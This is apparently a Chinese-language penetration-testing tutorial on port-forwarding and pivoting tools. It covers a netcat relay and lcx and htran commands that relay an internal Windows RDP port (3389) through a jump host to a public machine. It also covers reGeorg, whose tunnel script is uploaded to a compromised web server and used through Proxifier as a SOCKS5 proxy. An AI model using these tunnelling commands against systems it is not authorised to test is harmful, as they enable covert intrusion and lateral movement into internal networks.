常见端口转发工具的使用方式

NetCat是一个非常简单的Unix工具，可以读、写TCP或UDP网络连接。

• 用途：

1： 侦听/传输模式

2：获取banner信息

3：传输文本信息

4：传输文件/目录

5：远程控制/木马

6：加密所有流量

7：流媒体服务器

8：远程克隆硬盘

这里我们主要介绍其端口转发

服务端

cat /tmp/test | nc 127.0.0.1 22 | nc -lp 9000 > /tmp/test

lcx

lcx是一款强大的内网端口转发工具，用于将内网服务器开放的内部端口映射到本地任意端口。

• 用法：

[Usage of Packet Transmit:]

 lcx -<listen|tran|slave> <option> [-log logfile]

[option:]

 -listen <ConnectPort> <TransmitPort>

 -tran   <ConnectPort> <TransmitHost> <TransmitPort>

 -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

这里我们转发windows3389端口做演示

win2003服务端：

lcx -slave 公网ip port 本地ip 3389

win7客户端:

lcx -listen port port //注意这里的端口为空闲端口

进行连接验证:

连接win7的33389端口进行登陆

reGeorg

reGeorg利用了会话层的socks5协议，效率更高.上传一个代理脚本到服务器端，本地的程序去连接服务器上的脚本，脚本程序做代理转发端口和流量。

服务端：

• 首先我们可以看到reGeorg中的脚本分别有aspx、jsp、php，适用于各种web server

我们将脚本上传到web目录中脚本正常回显

客户端：

下面我们使用reGeorg进行端口转发

reGeorgSocksProxy.py -p 9999 -u http://192.168.81.128/tunnel.nosocket.php //-p 进行代理的端口 -u 脚本地址

这里我们还需要用到Proxifier

Proxifier

一款功能强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。

配置如下：

首先我们配置代理

配置规则为默认即可

现在我们找到远程桌面连接右键选择Proxifier选择Proxy SOCKS5 127.0.0.1 然后内网主机ip进行登陆

htran

端口转发工具，这里演示利用一台跳板机去连接另一台机器，高版本的htran还可以进行socks代理。本场景适用于同时在内网的两台机器一台不允许访问公网，这时候我们需要使用跳板进行端口转发进而访问。

目标机器

执行htran -slave 跳板机ip 空闲port 本地ip 3389

跳板机器

执行htran -tran 4444 公网ip 空闲端口

公网机器

执行htran -listen 传来数据的port 转发的port

然后我们可以访问公网机器的转发端口连接目标机器的远程桌面继续进行信息收集利用

---